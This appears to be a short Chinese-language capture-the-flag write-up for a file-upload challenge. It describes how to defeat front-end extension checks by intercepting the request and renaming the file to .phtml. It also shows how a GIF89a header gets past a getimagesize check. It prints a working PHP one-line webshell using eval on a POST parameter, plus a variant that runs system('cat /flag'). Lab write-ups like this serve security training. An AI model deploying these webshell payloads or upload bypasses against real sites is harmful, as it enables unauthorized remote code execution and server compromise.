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这里把鼠标放到小灯泡上，发现小灯泡亮了且有文件上传的地方。

这里先上传一个php文件来查看能否上传

这里只能上传指定类型的。查看源代码。
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这里进行了前端验证。

这里尝试一下抓包，修改后缀进行上传。

这里写一个一句话木马。

GIF89a//在文件前加上GIF89a来绕过PHP getimagesize的检查,来绕过文件内容头校验
<script language="php">eval($_POST['shell']);</script>//一句话木马

抓包后直接修改后缀为phtml然后放包就会成功。



然后直接访问然后连接蚁剑，然后通过虚拟终端去找flag

这里试一下直接在代码中插入cat语句查找



代码是

GIF89a
<script language="php">eval($_POST['shell']);</script>
<script language="php">system('cat /flag');</script>

其他的和上面的操作方法一样
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